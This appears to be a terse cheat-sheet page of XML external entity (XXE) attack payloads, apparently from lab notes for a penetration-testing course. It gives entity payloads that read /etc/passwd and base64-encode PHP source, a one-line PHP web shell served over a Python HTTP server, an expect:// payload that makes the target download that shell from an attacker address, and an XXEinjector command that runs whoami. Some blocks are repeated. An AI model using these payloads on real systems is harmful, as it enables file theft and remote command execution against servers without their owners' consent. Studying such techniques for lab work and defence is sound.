XXE
// reading sensitive files
<!DOCTYPE email [
<!ENTITY company SYSTEM "file:///etc/passwd">
]>
// reading source code
// This trick only works with PHP web applications.
<!DOCTYPE email [
<!ENTITY company SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>
// RCE
echo '<?php system($_REQUEST["cmd"]);?>' > shell.php
sudo python3 -m http.server 80
// use Curl in XXE to download shell
<?xml version="1.0"?>
<!DOCTYPE email [
<!ENTITY company SYSTEM "expect://curl$IFS-O$IFS'OUR_IP/shell.php'">
]>
<root>
<name></name>
<tel></tel>
<email>&company;</email>
<message></message>
</root>
git clone https://github.com/enjoiz/XXEinjector.git
cd XXEinjector/
ruby XXEinjector.rb --host=10.10.14.239 --httpport=8000 --file=/home/htb-ac-126490/xxe.req --oob=http --phpfilter --expect='whoami'
echo '<?php system($_REQUEST["cmd"]);?>' > shell.php
sudo python3 -m http.server 80
<?xml version="1.0"?>
<!DOCTYPE email [
<!ENTITY company SYSTEM "expect://curl$IFS-O$IFS'OUR_IP/shell.php'">
]>
<root>
<name></name>
<tel></tel>
<email>&company;</email>
<message></message>
</root>
Last updated
Was this helpful?